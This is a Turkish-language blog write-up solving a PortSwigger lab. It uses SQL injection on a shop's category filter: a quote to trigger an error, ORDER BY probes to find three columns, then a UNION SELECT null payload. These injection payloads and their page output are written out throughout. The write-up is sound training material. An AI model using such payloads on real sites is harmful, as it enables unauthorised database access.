


PortSwigger Lab: SQL injection UNION attack, determining the number of columns returned by the query

Herkese selamlar ben Mansur Derda. Bugün PortSwigger üzerinde bulunan SQL injection zafiyetinin laboratuvarını anlatacağım

“SQL enjeksiyonu UNION saldırısı, sorgu tarafından döndürülen sütun sayısının belirlenmesi” sorunun içeriğinden de anladığımız gibi bizden istenen şey sorgudaki sütun sayısını öğrenmemiz

Home | My account

WE LIKE TO
SHOP 

Food & Drink

Refine your search:
[All](#) | [Food & Drink](#) | [Gifts](#) | [Lifestyle](#) | [Pets](#) | [Tech gifts](#)

Single Use Food Hider	\$55.16	View details
Hydrated Crackers	\$61.88	View details
Waterproof Tea Bags	\$37.93	View details
Eggtastic, Fun, Food Eggcessories	\$72.25	View details

Elimizde bu şekilde bir sayfa var



.web-security-academy.net/filter?category=Food+%26+Drink

URL'ye bakınca aklıma ilk olarak SQL İNJECTION geliyor bu denemeyi Food & Drink sayfasının altında yapmayı istiyorum çünkü o sayfanın bağlı olduğu database tablosundaki sütunları öğrenmeye çalışıyorum. Ve SQL injectionun şanındandır diyerek tırnak işaretimi koyuyorum.

Internal Server Error

Internal Server Error

Sonuç şaşırtmadı. Yaptığımız işlem herhangi bir işleme maruz kalmadan db'ye gitti ve işleme alındı. Bundan sonra geriye sadece ORDER BY ile sütun sayısını öğrenmek kalıyor.

Sitenin basitliğini bildiğimiz için burp suite kullanmamıza gerek kalmıyor

Aşağıdaki gibi sırasıyla " ' ORDER BY X -- " sorgusunu yapıyorum

' ORDER BY 1 --

Food & Drink' ORDER BY 1 --

Refine your search:

[All](#) [Food & Drink](#) [Gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#)

Single Use Food Hider	\$55.16	View details
Hydrated Crackers	\$61.88	View details
Waterproof Tea Bags	\$37.93	View details
Eggtastic, Fun, Food Eggcessories	\$72.25	View details

' ORDER BY 2 --

Food & Drink' ORDER BY 2 --

Refine your search:

[All](#) [Food & Drink](#) [Gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#)

Eggtastic, Fun, Food Eggcessories	\$72.25	View details
Hydrated Crackers	\$61.88	View details
Single Use Food Hider	\$55.16	View details
Waterproof Tea Bags	\$37.93	View details

' ORDER BY 3 --

Food & Drink' ORDER BY 3 --

Refine your search:

[All](#) [Food & Drink](#) [Gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#)

Waterproof Tea Bags	\$37.93	View details
Single Use Food Hider	\$55.16	View details
Hydrated Crackers	\$61.88	View details
Eggtastic, Fun, Food Eggcessories	\$72.25	View details

' ORDER BY 4 --

Internal Server Error

Internal Server Error

İlk üç işlemde herhangi bir hata ile karşılaşmıyorum ama 4. işlemde "Internal Server Error" alıyorum burdan da database'de bulunan tabloda 4. bir sütunun olmadığını tablonun 3 sütundan oluştuğunu anlıyoruz. Geriye sadece UNION komutunu kullanmak kalıyor.

```
security-academy.net/filter?category=Food+%26+Drink' union select null,null,null --
```

Bu işlemi de yaptıktan sonra aşağıdaki sayfaya geliyoruz.

Academy

[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

Internal Server Error

Internal Server Error

Ve “tebrikler, laboratuvarı çözdünüz” yazısını görüp derin bir oh çekiyoruz.

Umarım bu yazı sizler için faydalı olmuştur.